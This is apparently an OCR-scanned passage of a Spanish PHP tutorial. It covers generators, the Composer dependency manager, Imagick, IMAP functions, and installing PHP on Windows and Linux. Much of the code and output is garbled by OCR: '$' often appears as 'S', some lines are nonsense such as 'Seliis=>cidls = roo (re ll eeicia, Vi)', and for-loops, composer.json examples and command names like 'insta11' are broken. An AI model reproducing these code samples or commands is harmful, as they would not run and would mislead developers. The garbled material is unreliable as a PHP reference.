archivo CSV. 


<?php 
class CsvReader 
1 


protected $file; 


public function __construct ($filePath) ( 
Seliis=>cidls = roo (re ll eeicia, Vi) 


) 
public function rows () 
( 
while (!feof ($this->file)) ( 
Srow = fgetcsv($this->file, 4096); 


yield S$row; 


return; 


Scsv = new CsvReader (' /path/to/huge/csv/file.csv'); 


foreach ($csv->rows() as S$row) ( 
// Do something with the CSV row. 


La palabra clave de rendimiento 
Una declaración de yieza es similar a una declaración de retorno, excepto que en lugar de 


detener la ejecución de la función y devolverla, el rendimiento devuelve un objeto Generador y 
detiene la ejecución de la función del generador. 


Aquí hay un ejemplo de la función de rango, escrita como un generador: 


function gen_one_to_three() ( 
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For (Sil = lo Sil <= Sy Sis) A 
// Note that $i is preserved between yields. 
vicio! Sil, 


Puede ver que esta función devuelve un objeto Generador al inspeccionar la salida de var_dump : 


var_dump (gen_one_to_three()) 


+ Outputs: 
class Generator (0) ( 


) 


Valores de rendimiento 


El objeto Generador se puede iterar sobre una matriz. 


foreach (gen_one_to_three() as $value) ( 
echo "Svaluein"; 


El ejemplo anterior dará como resultado: 


Rendimiento de valores con claves 


Además de generar valores, también puede generar pares clave / valor. 


function gen_one_to_three() ( 
Skeys = [PriecseY, "second", "enla", 


tor (SL = lp Sil <= Sn Sis) A 
// Note that $i is preserved between yields. 
yield Skeys[$i 1] => Sip 


foreach (gen_one_to_three() as $key => $value) ( 
echo "Skey: $valuen"; 


El ejemplo anterior dará como resultado: 


caisies dl 
second: 2 
¡eimalicla 3 
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Uso de la función send () para pasar valores a un generador 


Los generadores están codificados rápidamente y, en muchos casos, son una alternativa delgada 
a las implementaciones de iteradores pesados. Con la implementación rápida viene una pequeña 
falta de control cuando un generador debe dejar de generar o si debe generar algo más. Sin 
embargo, esto se puede lograr con el uso de la función sena () , lo que permite a la función de 
solicitud enviar parámetros al generador después de cada ciclo. 


//Imagining accessing a large amount of data from a server, here is the generator for this: 


function generateDataFromServerDemo () 


( 


SindexCurrentRun = 0; //In this example in place of data from the server, 1 just send 


feedback everytime a loop ran through. 


Stimeout = false; 
while (!$timeout) 


( 


Stimeout = yield $indexCurrentRun; // Values are passed to caller. The next time th 
generator is called, it will start at this statement. If send() is used, $timeout will take 
this value. 

SindexCurrentRun++; 


yield 'X of bytes are missing. </br>'; 


) 


// Start using the generator 
SgeneratorDataFromServer = generateDataFromServerDemo (); 


foreach ($generatorDataFromServer as $numberOfRuns) 
( 

1f ($numberO0fRuns < 10) 

[ 


echo SnumberO0fRuns . "</br>"; 
) 
else 
( 
SgeneratorDataFromServer->send (true); //sending data to the generator 
echo $generatorDataFromServer->current (); //accessing the latest element (hinting how 


many bytes are still missing. 
) 
) 


Resultando en esta salida: 


0 
1 
yl 
E 
4 
3 
6 
7 
8 
9 
X bytes are missing. 
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Lea Generadores en línea: https://riptutorial.com/es/php/topic/1684/generadores 


https://riptutorial.com/es/nome 251 


Capítulo 51: Gerente de dependencia del 
compositor 


Introducción 


Composer es el gestor de dependencias más utilizado de PHP. Es análogo a nen en Node, pip 
para Python O suce: para .NET. 


Sintaxis 


* ruta php / a / composer.phar [comando] [opciones] [argumentos] 


Parámetros 
licencia Define el tipo de licencia que desea utilizar en el Proyecto. 
autores Define los autores del proyecto, así como los detalles del autor. 
apoyo Define los correos de soporte, el canal de irc y varios enlaces. 
exigir Define las dependencias reales, así como las versiones del paquete. 
require-dev Define los paquetes necesarios para desarrollar el proyecto. 
ar Define las sugerencias de paquetes, es decir, paquetes que pueden 
9 ayudar si se instalan. 
r : a ze 
a E Define las políticas de carga automática del proyecto. 
automática 
autoload-dev Define las políticas de carga automática para el desarrollo del proyecto. 
Observaciones 


La carga automática solo funcionará para las bibliotecas que especifican información de carga 
automática. La mayoría de las bibliotecas cumplen y se adherirán a un estándar como PSR-0 o 
PSR-4 . 


Enlaces Útiles 


+ Packagist: navega por los paquetes disponibles (que puedes instalar con Composer). 
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* Documentacion oficial 
* Guía oficial de introducción 


Pocas sugerencias 


1. Deshabilita xdebug al ejecutar Composer. 
2. No ejecute Composer como root . Los paquetes no son de confianza. 


Examples 


¿Qué es el compositor? 


Composer es un gestor de paquetes / dependencias para PHP. Puede usarse para instalar, 
realizar un seguimiento y actualizar las dependencias de su proyecto. Composer también se 
encarga de cargar automáticamente las dependencias en las que se basa su aplicación, lo que le 
permite usar fácilmente la dependencia dentro de su proyecto sin preocuparse de incluirlas en la 
parte superior de cualquier archivo dado. 


Las dependencias para su proyecto se enumeran dentro de un archivo composer.json QUe 
normalmente se encuentra en la raíz de su proyecto. Este archivo contiene información sobre las 
versiones requeridas de paquetes para producción y también para desarrollo. 


Se puede encontrar un resumen completo del esquema composer. json en el sitio web de 
Composer . 


Este archivo se puede editar manualmente usando cualquier editor de texto o automáticamente a 
través de la línea de comandos a través de comandos como el composer require <package> O el 


composer require-dev <package> . 


Para comenzar a utilizar compositor en su proyecto, deberá crear el archivo composer.3json . Puede 
crearlo manualmente o simplemente ejecutar el composer init . Después de ejecutar el composer 
init en su terminal, le pedirá información básica sobre su proyecto: Nombre del paquete ( 
proveedor / paquete - por ejemplo, laravel/1aravel ), Descripción - opcional, Autor y alguna otra 
información como Estabilidad mínima, Licencia y Requisitos Paquetes. 


La clave require en su archivo composer.json especifica a Composer de qué paquetes depende su 
proyecto. require toma un objeto que asigna nombres de paquetes (por ejemplo, monolog / 
monolog ) a restricciones de versión (por ejemplo, 1.0. *). 


"require": ( 
"composer/composer": "1,2,*" 


) 


Para instalar las dependencias definidas, deberá ejecutar el comando de composer insta11 editor 
y, a continuación, encontrará los paquetes definidos que coincidan con la restricción de version 
suministrada y los descargará en el directorio del vendor . Es una convención colocar el código de 
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un tercero en un directorio llamado vendor . 
Notará que el comando de insta11 también creó un archivo composer. lock . 


Un composer.1locx archivo es generado automáticamente por Compositor. Este archivo se usa para 
rastrear las versiones instaladas actualmente y el estado de sus dependencias. La ejecución de 
composer insta11 instalará los paquetes exactamente en el estado almacenado en el archivo de 
bloqueo. 


Autocarga con compositor 


Si bien el compositor proporciona un sistema para administrar las dependencias para proyectos 
PHP (por ejemplo, de Packagist ), también puede servir notablemente como un cargador 
automático, especificando dónde buscar espacios de nombres específicos o incluir archivos de 
funciones genéricas. 


Comienza con el archivo composer.json : 


AI 
"sutoloaoa"<. 1 
MISA 
"MyVendorNamelXAMyProject": "src/" 
y, 
elec [| 


smc iBun eins app 
] 
ho 
"sutoload-devw":< ( 
osas 
"MyVendorNamelXWMyProjectilTests": "tests/" 
) 


Este código de configuración garantiza que todas las clases en el espacio de nombres 
MyVendorName MyProject Se asignen al directorio src y todas las clases en 
MyVendorNameMyProject Tests al directorio de tests (en relación con su directorio raíz). También 
incluirá automáticamente el archivo functions.php . 


Después de poner esto en su archivo composer.json , ejecute la composer update en un terminal 
para que el compositor actualice las dependencias, el archivo de bloqueo y genere el archivo 
autoload.php . Cuando se implementa en un entorno de producción, usaría composer install --no- 
dev . El archivo autoload.php Se puede encontrar en el directorio del vendor que se debe generar en 
el directorio donde reside composer.3son . 


Usted debe require este archivo temprana en un punto de instalación en el ciclo de vida de la 
aplicación mediante una línea similar a la de abajo. 


require_once _ DIR__ . '/vendor/autoload.php'; 
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Una vez incluido, el archivo autoload.php Se encarga de cargar todas las dependencias que 
proporcionó en su archivo composer.json . 


Algunos ejemplos de la ruta de clase a la asignación de directorios: 


* MyVendorNameWMyProjectShapes1Square “Y src/Shapes/Square.php . 


* MyVendorNameYWMyProjectYIests1Shapes1Square “Y tests/Shapes/Square.php . 
Beneficios de usar Composer 


Composer realiza un seguimiento de las versiones de los paquetes que ha instalado en un 
archivo llamado composer.1ocx , que está destinado a comprometerse con el control de versiones, 
de modo que cuando se clone el proyecto en el futuro, simplemente ejecutando composer install 
se descargará e instalará todas las dependencias del proyecto . 


Compositor se ocupa de las dependencias de PHP por proyecto. Esto facilita tener varios 
proyectos en una máquina que dependen de versiones separadas de un paquete PHP. 


Compositor rastrea las dependencias que solo están destinadas a los entornos de desarrollo. 


composer requir dev phpunit/phpunit 


Composer proporciona un autocargador, lo que facilita enormemente comenzar con cualquier 
paquete. Por ejemplo, después de instalar Goutte con el composer require fabpot/goutte , puede 
comenzar a usar Goutte en un nuevo proyecto de inmediato: 


<?php 
require _ DIR__ . '/vendor/autoload.php'; 
Sclient = new GoutteWClient (); 


// Start using Goutte 


Composer le permite actualizar fácilmente un proyecto a la última versión permitida por su 
composer.json. P.EJ. composer update fabpot/goutte , O para actualizar cada una de las 
dependencias de su proyecto: composer update . 


Diferencia entre "instalación del compositor" y "actualización del compositor" 
composer update 

composer update Nuestras dependencias según se especifican en composer.json . 

Por ejemplo, si nuestro proyecto usa esta configuración: 


"require": ( 
"laravelcollective/html": "2.0.*" 


) 
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Suponiendo que hayamos instalado la versión 2.0.1 del paquete, la composer update ejecución 
provocará una actualización de este paquete (por ejemplo, a 2.0.2 , si ya se ha publicado). 


En detalle la composer update : 


. Leer composer.json 

+ Elimine los paquetes instalados que ya no sean necesarios en composer. json 

+ Compruebe la disponibilidad de las últimas versiones de nuestros paquetes requeridos. 
+ Instala las últimas versiones de nuestros paquetes. 

+ Actualice composer.1ocx para almacenar la versión de los paquetes instalados. 


composer install 


composer insta11 todas las dependencias especificadas en el archivo composer.1ocx en la versión 
especificada (bloqueada), sin actualizar nada. 


En detalle: 


* Leer el archivo composer.lock 
* Instala los paquetes especificados en el archivo composer. lock . 


Cuándo instalar y cuándo actualizar. 


* composer update Se utiliza principalmente en la fase de 'desarrollo', para actualizar nuestros 
paquetes de proyectos. 


* composer insta11 Se utiliza principalmente en la 'fase de implementación' para instalar 
nuestra aplicación en un servidor de producción o en un entorno de prueba, utilizando las 
mismas dependencias almacenadas en el archivo composer.1locx Creado por la composer 
update . 


Compositor de comandos disponibles 


acerca de Breve información sobre el compositor 

archivo Crear un archivo de este paquete compositor 

SEO Abre la URL del repositorio del paquete o la página de inicio en su 
navegador. 

limpiar cache Borra la caché interna del paquete del compositor. 

limpiar cache Borra la caché interna del paquete del compositor. 

configuración Establecer opciones de configuración 


crear proyecto Crear nuevo proyecto desde un paquete en el directorio dado. 
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depende 
diagnosticar 


volcado- 
autoload 


Dumpautoload 


exec 


global 


ayuda 


casa 


info 


en eso 


instalar 


licencias 


lista 


anticuado 


prohíbe 

retirar 

exigir 

ejecutar guión 
buscar 


auto- 
actualización 


auto 
actualización 


Muestra qué paquetes hacen que se instale el paquete dado 


Diagnostica el sistema para identificar errores comunes. 


Vuelca el autoloader 


Vuelca el autoloader 
Ejecutar un script binario / vendedor 


Permite ejecutar comandos en el directorio del compositor global ($ 
COMPOSER_HOMEB). 


Muestra ayuda para un comando 


Abre la URL del repositorio del paquete o la página de inicio en su 
navegador. 


Mostrar información sobre paquetes 
Crea un archivo composer.json básico en el directorio actual. 


Instala las dependencias del proyecto desde el archivo composer.lock, si 
está presente, o recae en el composer.json. 


Mostrar información sobre licencias de dependencias. 
Listas de comandos 


Muestra una lista de paquetes instalados que tienen actualizaciones 
disponibles, incluida su última versión. 


Muestra qué paquetes impiden que se instale el paquete dado 
Elimina un paquete del require o require-dev 

Agrega los paquetes requeridos a tu composer.json y los instala 
Ejecute los scripts definidos en composer.json. 


Buscar paquetes 


Actualiza composer.phar a la última versión. 


Actualiza composer.phar a la última versión. 
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espectáculo Mostrar información sobre paquetes 
estado Mostrar una lista de paquetes modificados localmente 
sugiere Mostrar sugerencias de paquetes 


Actualiza tus dependencias a la última versión de acuerdo con 


acueizar composer.json y actualiza el archivo composer. lock. 

validar Valida un composer.json y composer.lock 

por qué Muestra qué paquetes hacen que se instale el paquete dado 

Por qué no Muestra qué paquetes impiden que se instale el paquete dado 
Instalación 


Puede instalar Composer localmente, como parte de su proyecto, o globalmente como un 
ejecutable de todo el sistema. 


En la zona 


Para instalar, ejecute estos comandos en su terminal. 


php -r "copy ('https://getcomposer.org/installer', 'composer-setup.php');" 
to check the validity of the downloaded installer, check here against the SHA-384: 
+ https: //composer.github.io/pubkeys.html 


php composer-setup.php 
php -r "unlink('composer-setup.php');" 


Esto descargará composer.phar (un archivo de archivo PHP) al directorio actual. Ahora puede 
ejecutar pnp composer.phar para usar Composer, por ejemplo 


php composer.phar install 


Globalmente 


Para usar Composer globalmente, coloque el archivo composer.phar en un directorio que sea 
parte de su para 


mv composer.phar /usr/local/bin/composer 


Ahora puedes Usar composer Cualquier lugar en lugar de pnp composer.phar , por ejemplo 
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composer install 


Lea Gerente de dependencia del compositor en línea: 
https://riptutorial.com/es/php/topic/1053/gerente-de-dependencia-del-compositor 
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Capítulo 52: Imaginario 


Examples 


Primeros pasos 


Instalación 


Usando apt en sistemas basados en Debian 
sudo apt-get install php5-imagick 
Usando Homebrew en OSX / macOs 


brew install imagemagick 


Para ver las dependencias instaladas usando el método brew , visite 
brewformulas.org/Imagemagick . 


Usando lanzamientos binarios 
Instrucciones en el sitio web de imagemagick . 
Uso 


<?php 


Simagen = new Imagick('imagen.Jpg'); 
Simagen->thumbnailImage(100, 0); 
//if you put 0 in the parameter aspect ratio is maintained 


echo $imagen; 


> 


Convertir imagen en base64 String 


Este ejemplo es cómo convertir una imagen en una cadena Base64 (es decir, una cadena que 
puede usar directamente en un atributo src de una etiqueta img ). Este ejemplo utiliza 
específicamente la biblioteca Imagick (también hay otras disponibles, como GD ). 


<?php 
pk 
* This loads in the file, image.jpg for manipulation. 


* The filename path is releative to the .php file containing this code, so 


* in this example, image.jpg should live in the same directory as our script. 
08) 


$Simg = new Imagick('image.Jpg'); 
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* This resizes the image, to the given size in the form of width, height. 


* If you want to change the resolution of the image, rather than the size 


* then Simg->resampleimage (320, 240) would be the right function to use. 


* Note that for the second parameter, you can set it to 0 to maintain the 
* aspect ratio of the original image. 

+s/) 

Simg->resizelmage(320, 240); 


J** 

* This returns the unencoded string representation of the image 
2) 

SimgBuff $Simg->getimageblob(); 


pk 
* This clears the image.jpg resource from our $img object and destroys the 


* object. Thus, freeing the system resources allocated for doing our image 
* manipulation. 
eS) 


Simg->clear (); 


¡xk 
* This creates the base64 encoded version of our unencoded string from 


* earlier. It is then output as an image to the page. 
* 


* Note, that in the src attribute, the image/jpeg part may change based on 


* the image type you're using (i.e. png, Jpg etc). 
e) 
Simg = base64_encode ($imgBuff); 


echo "<img alt='Embedded Image' src='data:image/Jpeg;base64,$img' />"; 


Lea Imaginario en línea: https://riptutorial.com/es/php/topic/7682/imaginario 
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Capítulo 53: IMAP 


Examples 


Instalar extensión IMAP 


Para usar las funciones IMAP en PHP, necesitará instalar la extensión IMAP: 


Debian / Ubuntu con PHP5 


sudo apt-get install php5-imap 
sudo php5enmod imap 


Debian / Ubuntu con PHP7 


sudo apt-get install php7.0-imap 
Distro basado en yum 

sudo yum install php-imap 
Mac OS X con php5.6 


brew reinstall php56 --with-imap 


Conectando a un buzón 


Para hacer cualquier cosa con una cuenta IMAP, primero debes conectarte. Para hacer esto 
necesitas especificar algunos parámetros requeridos: 


+ El nombre del servidor o la dirección IP del servidor de correo. 
+ El puerto que desea conectar en 

o IMAP es 143 o 993 (seguro) 

o POP es 110 o 995 (seguro) 

o SMTP es 25 o 465 (seguro) 

o NNTP es 119 o 563 (seguro) 
+ Banderas de conexión (ver abajo) 


imap, pop3, 
nntp, smtp 


/service=service ¿Qué servicio utilizar? imap 


nombre de usuario remoto para iniciar 
sesión en el servidor 


/user=user 
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usuario de autenticación remota; Si se 
especifica, este es el nombre de usuario 
cuya contraseña se usa (por ejemplo, 
administrador) 


/authuser=user 


/anonymous Acceso remoto como usuario anónimo 


Protocolo de registro de telemetría en el ] , 
/debug A a discapacitado 
registro de depuración de la aplicación. 


No transmita una contraseña de texto 


/ r z Ñ 
ió simple a través de la red 
OR no utilice rsh o ssh para establecer una 
MOS 
sesión IMAP autentificada previamente 
ata Utilice la capa de sockets seguros para 
ss 
cifrar la sesión 
/validate-cert certificados del servidor TLS / SSL habilitado 
no valide certificados del servidor TLS / 
, e A SSL, necesario si el servidor utiliza esspadiiado 
novalidate-cer 
certificados autofirmados. USAR CON P 
PRECAUCION 


forzar el uso de start-TLS para cifrar la 
/tls sesión y rechazar la conexión a servidores 
que no la admiten 


no haga start-TLS para cifrar la sesión, 


/notls ] a ñ 
incluso con servidores que la admitan 


solicite buzón de correo electrónico de 
/readonly solo lectura abierto (solo IMAP; se ignora 
en NNTP, y un error con SMTP y POP3) 


La cadena de conexión se verá así: 


[imap.example.com:993/imap/tls/secure) 


Tenga en cuenta que si alguno de los caracteres de su cadena de conexión no es ASCII, debe 
codificarse con utf7_encode ($ cadena) . 


Para conectar con el buzón, usamos el comando imap_open que devuelve un valor de recurso 
que apunta a una secuencia: 
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<?php 


$mailbox = imap_open("(imap.example.com:993/imap/tls/secure)j", 


1f ($mailbox === 


false) 


( 


echo "Failed to connect to server"; 


Listar todas las carpetas en el buzón 


"username", "password"); 


Una vez que se haya conectado a su buzón, querrá echar un vistazo al interior. El primer 


comando útil es imap list. El primer parámetro es el recurso que adquirió de imap_open , el 


segundo es la cadena de su buzón y el tercero es una cadena de búsqueda difusa ( + se usa para 


coincidir con cualquier patrón). 


Sfolders = imap_list ($mailbox, "(imap.example.com:993/imap/tls/secure)", 


1f ($folders === 


false) 


( 


cc “Mradled e lis Foleses da melo 0 


) else ( 


print_r($folders); 


La salida debe ser similar a esta 


Array 

( 
[0] => (imap 
[1] => (imap 
[2] => (imap 
[31 => (imap 
[4] => (imap 


.example. 
.example. 
.example. 
.example. 
.example. 


com: 
com: 
com: 
com: 
com: 


993/imap/tl1s/secure) INBOX 
993/imap/tl1s/secure) INBOX. Sent 
993/imap/t1ls/secure)INBOX.Drafts 
993/imap/tl1s/secure) INBOX. Junk 
993/imap/t1ls/secure) INBOX. Trash 


DE) 


Puedes usar el tercer parámetro para filtrar estos resultados de la siguiente manera: 


Sfolders = imap_list ($mailbox, "(imap.example.com:993/imap/tls/secure)", 


Y ahora el resultado solo contiene entradas con .sen: en el nombre: 


Array 
( 


[0] => (imap.example.com:993/imap/tls/secure) INBOX. Sent 


USAS CMA 


Nota : Usar + como una búsqueda difusa devolverá todas las coincidencias de forma recursiva. Si 
usa = , solo se mostrarán las coincidencias en la carpeta actual especificada. 


Encontrar mensajes en el buzón. 


Puede devolver una lista de todos los mensajes en un buzón usando imap_ headers . 


<?php 


Sheaders = imap_headers ($mailbox); 
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El resultado es una matriz de cadenas con el siguiente patrón: 


[FLAG] [MESSAGE-ID]) [DD-MM-YYY] [FROM ADDRESS] [SUBJECT TRUNCATED TO 25 CHAR] ([SIZE] chars) 


Aquí hay una muestra de cómo podría verse cada línea: 


19-Aug-2016 someoneltexample.com Message Subject (1728 chars) 
19-Aug-2016 someoneltexample.com RE: Message Subject (22840 chars) 
19-Aug-2016 someoneltexample.com RE: RE: Message Subject (1876 chars) 
19-Aug-2016 someoneltexample.com RE: RE: RE: Message Subje (1741 chars) 


Contestado El mensaje ha sido respondido a 


za ll PA 
BbuUNA 


re Eliminado El mensaje se borra (pero no se elimina) 

F Marcado El mensaje está marcado / mirado para llamar la atención. 
norte Nuevo El mensaje es nuevo y no se ha visto. 

R Reciente El mensaje es nuevo y ha sido visto. 

U No leído El mensaje no ha sido leído 

Xx Borrador Mensaje es un borrador 


Tenga en cuenta que esta llamada puede tardar bastante tiempo en ejecutarse y puede 
devolver una lista muy grande. 


Una alternativa es cargar mensajes individuales a medida que los necesite. A cada correo 
electrónico se le asigna un ID de 1 (el más antiguo) al valor de imap num msg (Smailbox) . 


Hay Una serie de funciones para acceder a un correo electrónico directamente, pero la forma más 
sencilla es utilizar ¿may neaae- que devuelve información de encabezado estructurado: 


<?php 
Sheader = imap_headerinfo($mailbox , 1); 


stdClass Object 
( 
date] => Wed, 19 Oct 2011 17:34:52 +0000 

subject] => Message Subject 

message_id] => <04b80ceedac8e714$51a8d50dda$0206600afuserl687763490> 
references] => <ecl12%beef8al13c94lad68bdaae9%ltexample.com> 
toaddress] => Some One Else <someoneelseltexample.com> 


tol] => Array 
( 
[0] => stdClass Object 
( 


[personal] => Some One Els 


[mailbox] => someonelse 
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[host] => example.com 


) 


[fromaddress] => Some One <someoneltexample.com> 


[from] => Array 
( 
[0] => stdClass Object 
( 
[personal] => Some One 
[mailbox] => someone 
[host] => example.com 


) 


[reply_toaddress] => Some One <someonelflexample.com> 


[reply_to] => Array 
( 
[0] => stdClass Object 
( 


[personal] => Some One 
[mailbox] => someone 
[host] => example.com 
) 
) 
[senderaddress] => Some One <someoneltexample.com> 
[sender] => Array 


( 
[0] => stdClass Object 
( 


[personal] => Some One 
[mailbox] => someone 
[host] => example.com 


) 
Recent] => 
Unseen] => 
Flagged] => 
Answered] => 
Deleted] => 
Draft] => 
sgno] => 1 
ailDate] => 19-0ct-2011 17:34:48 +0000 
Size] => 1728 
udate] => 1319038488 


Lea IMAP en línea: https://riptutorial.com/es/php/topic/7359/imap 
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Capítulo 54: Instalación de un entorno PHP 
en Windows 


Observaciones 


Los servicios HTTP normalmente se ejecutan en el puerto 80, pero si tiene alguna aplicación 
instalada como Skype que también utiliza el puerto 80, entonces no se iniciará. En ese caso, debe 
cambiar el puerto o el puerto de la aplicación en conflicto. Cuando haya terminado, reinicie el 
servicio HTTP. 


Examples 


Descargar e instalar XAMPP 


¿Qué es XAMPP? 


XAMPP es el entorno de desarrollo PHP más popular. XAMPP es una distribución Apache 
completamente gratuita, de código abierto y fácil de instalar que contiene MariaDB, PHP y Perl. 


¿De dónde debería descargarlo? 


Descargue la versión XAMPP estable adecuada desde su página de descarga . Elija la descarga 
según el tipo de sistema operativo (32 o 64 bits y versión de sistema operativo) y la versión de 
PHP que debe admitir. 


La última versión actual es XAMPP para Windows 7.0.8 / PHP 7.0.8 . 
O puedes seguir esto: 
XAMPP para Windows existe en tres sabores diferentes: 


* Instalador (Probablemente el .exe format la forma más fácil de instalar XAMPP) 
* ZIP (para los puristas: XAMPP como archivo .zip format ZIP ordinario) 
* 7zip: (para puristas con poco ancho de banda: XAMPP como archivo de .7zip format 7Zip 


.7zip format ) 


¿Cómo instalar y dónde debo colocar mis 
archivos PHP / html? 
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Instale con el instalador provisto 


1. Ejecute el instalador del servidor XAMPP haciendo doble clic en el .exe descargado. 


Instalar desde el ZIP 


1. Descomprima los archivos zip en la carpeta de su elección. 

2. XAMPP está extrayendo al subdirectorio c:1xampp debajo del directorio de destino 
seleccionado. 

3. Ahora inicie el archivo setup_xampp .bat para ajustar la configuración de XAMPP a su sistema. 


Nota: Si elige un directorio raíz c:1 como destino, no debe iniciar setup_xampp.bat . 


Postinstalación 


Use el "Panel de control de XAMPP" para tareas adicionales, como iniciar / detener Apache, 
MySQL, FileZilla y Mercury o instalarlos como servicios. 


Manejo de archivos 


La instalación es un proceso sencillo y una vez que se complete, puede agregar archivos html / 
php para que se alojen en el servidor en xampPp-root /htdocs/ . Luego, inicie el servidor y abra 
http://localhost/file.pnp en un navegador para ver la página. 


Nota: la raíz XAMPP predeterminada en Windows es c: /xampp/htdocs/ 


Escriba una de las siguientes URL en su navegador web favorito: 


http://localhost/ 
mass / 11270. 0,1 / 


Ahora deberías ver la página de inicio de XAMPP. 
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Apache Friends 


E) XAMPP Apache + M 


Welcome to XAMPP for Window 


translation missing: en.You have successfully installed XAMPP on this sys: 
components. You can find more info in the FAQs section or check the HON 


Start the XAMPP Control Panel to check the server status. 


Community 


XAMPP has been around for more than 10 years - there is a huge commui 
adding yourself to the Mailing List, and liking us on Facebook, following ot 


Contribute to XAMPP translation at translate 


Can you help translate XAMPP for other community members? We need y 
set up a site, translate.apachefriends.org, where users can contribute tran 
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* WampServer (32 BITS) 3 
Proporcionando actualmente: 


* Apache: 2.4.18 
* MySQL: 5.7.11 
* PHP: 5.6.19 y 7.0.4 


La instalación es simple, simplemente ejecute el instalador, elija la ubicación y finalícelo. 


Una vez hecho esto, puede iniciar WampServer. Luego comienza en la bandeja del sistema 
(barra de tareas), inicialmente de color rojo y luego se vuelve verde una vez que el servidor está 
activo. 


Puede ir a un navegador y escribir localhost o 127.0.0.1 para obtener la página de índice de 
WAMP. Puede trabajar en PHP localmente a partir de ahora almacenando los archivos en 


<PATH_TO_WAMP>/www/<php_or_html_file> Y verifique el resultado en 
http://localhost/<php_or_html_file_name> 


Instalar PHP y usarlo con IIS 


En primer lugar, necesita tener IIS ( Internet Information Services ) instalado y ejecutándose en su 
máquina; IIS no está disponible de forma predeterminada, debe agregar la característica desde el 
Panel de control -> Programas -> Características de Windows. 


1. Descargue la versión de PHP que le guste de htip://windows.php.net/download/ y asegúrese 
de descargar las versiones de PHP sin riesgo de subprocesos (NTS). 

2. Extraiga los archivos en c:1pup1 . 

3. Abra el internet Information Services Administrator IIS. 

4. Seleccione el elemento raíz en el panel izquierdo. 

Dí Haga doble clic en Handler Mappings . 

6. En el panel lateral derecho, haga clic en add Module Mapping . 

7. Configure los valores como este: 


Request Path: *.php 

odule: FastCgiModule 

Executable: C:1PHPAphp-cgi.exe 

ame: PHP_FastCGlI 

Request Restrictions: Folder or File, All Verbs, Access: Script 


8. Instale vcredist_x64.exe O vcredist_x86.exe (Visual C ++ 2012 Redistributable) desde 
https://www.microsoft.com/en-US/download/details.aspx?id=30679 


9. Configure su c:1»aP php. ini , especialmente configure el extension_dir ="C:1PHPYext". 
10. Restablecer IIS: en una consola de comandos de DOS, escriba 11sreseT . 


Opcionalmente, puede instalar el Administrador de PHP para IIS, que es de gran ayuda para 
configurar el archivo ini y rastrear el registro de errores (no funciona en Windows 10). 
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Recuerde establecer index. pne como uno de los documentos predeterminados para !IS. 
Si siguió la guía de instalación ahora está listo para probar PHP. 


Al igual que Linux, !IS tiene una estructura de directorios en el servidor, la raíz de este árbol es 
C:Vinetpublwwwroot1 , aquí está el punto de entrada para todos sus archivos públicos y scripts de 
PHP. 


Ahora use su editor favorito, o simplemente el Bloc de notas de Windows, y escriba lo siguiente: 


<?php 
header ('Content-Type: text/html; charset=UTF-8'); 
echo '<html><head><title>Hello World</title></head><body>Hello world!</body></html>'"; 


Guarde el archivo en c:1inetpublmwroot index.php Utilizando el formato UTF-8 (sin BOM). 
Luego abra su nuevo sitio web usando su navegador en esta dirección: http: //localhost/index.php 


Lea Instalación de un entorno PHP en Windows en línea: 
https://riptutorial.com/es/php/topic/3510/instalacion-de-un-entorno-php-en-windows 
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Capítulo 55: Instalación en entornos Linux / 
Unix 


Examples 


Instalación de línea de comandos utilizando APT para PHP 7 


Esto solo instalará PHP. Si desea entregar un archivo PHP a la web, también 
necesitará instalar un servidor web como Apache , Nginx , o usar el servidor web 
incorporado de PHP ( php versión 5.4+ ). 


Si está en una versión de Ubuntu por debajo de 16.04 y desea utilizar PHP 7 de todos 
modos, puede agregar el repositorio de PPA de Ondrej haciendo lo siguiente: sudo 


add-apt-repository ppa:ondreJ/php 


Asegúrese de que todos sus repositorios estén actualizados: 


sudo apt-get update 


Después de actualizar los repositorios de su sistema, instale PHP: 


sudo apt-get install php7.0 


Probemos la instalación revisando la versión de PHP: 
php --version 


Esto debería producir algo como esto. 


Nota: Su salida será ligeramente diferente. 


23 70. 8-09 mc nO 10. 04,1 (Sot) (NES 5) 

Copyright (c) 1997-2016 The PHP Group 

Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies 

with Zend OPcache v7.0.8-0ubuntu0.16.04.1, Copyright (c) 1999-2016, by Zend Technologies 
with Xdebug v2.4.0, Copyright (c) 2002-2016, by Derick Rethans 


Ahora tiene la capacidad de ejecutar PHP desde la línea de comandos. 
Instalación en distribuciones Enterprise Linux (CentOS, Scientific Linux, etc.) 


Use el comando yum para administrar paquetes en sistemas operativos basados en Enterprise 
Linux: 


yum install php 
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Esto instala una instalación mínima de PHP que incluye algunas características comunes. Si 
necesita módulos adicionales, deberá instalarlos por separado. Una vez más, puedes usar yum 
para buscar estos paquetes: 


yum search php-* 


Ejemplo de salida: 


php-bcmath.x86_64 : A module for PHP applications for using the bcmath library 


php-c1i.x86_64 : Command-line interface for PHP 

php-common.x86_64 : Common files for PHP 

php-dba.x86_64 : A database abstraction layer module for PHP applications 
php-devel.x86_64 : Files needed for building PHP extensions 
php-embedded.x86_64 : PHP library for embedding in applications 


php-enchant.x86_64 : Human Language and Character Encoding Support 
php-9d.x86_64 : A module for PHP applications for using the gd graphics library 
php-imap.x86_64 : A module for PHP applications that use IMAP 


Para instalar la librería gd: 
yum install php-gd 


Las distribuciones de Enterprise Linux siempre han sido conservadoras con las actualizaciones y, 
por lo general, no se actualizan más allá del lanzamiento puntual con el que se enviaron. Varios 
repositorios de terceros proporcionan versiones actuales de PHP: 


e US 
* Remi colette 
. Webtatic 


lUS y Webtatic proporcionan paquetes de reemplazo con nombres diferentes (p pnp56u Ej., pne56u 
O php56w para instalar PHP 5.6), mientras que el repositorio de Remi proporciona actualizaciones 
in situ utilizando los mismos nombres que los paquetes del sistema. 


A continuación hay instrucciones para instalar PHP 7.0 desde el repositorio de Remi. Este es el 
ejemplo más simple, ya que no es necesario desinstalar los paquetes del sistema. 


download the RPMs; replace 6 with 7 in case of EL 7 


wget https://dl.fedoraproject.org/pub/epel/epel-release-latest-6.noarch.rpm 


wget http://rpms.remirepo.net/enterprise/remi-release-6.rpm 
install the repository information 


rem -Uvh remi-release-6.rpm epel-release-latest-6.noarch.rpm 
enable the repository 


yum-config-manager nabl pel nable remi nable remi-saf nable remi-php70 
install the new version of PHP 


NOTE: if you already have the system package installed, this will update it 
yum install php 


Lea Instalación en entornos Linux / Unix en línea: 
https://riptutorial.com/es/php/topic/3831/instalacion-en-entornos-linux---unix 
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Capítulo 56: Interfaz de línea de comandos 
(CL!) 


Examples 


Manejo de argumentos 


Los argumentos se pasan al programa de manera similar a la mayoría de los lenguajes de estilo 
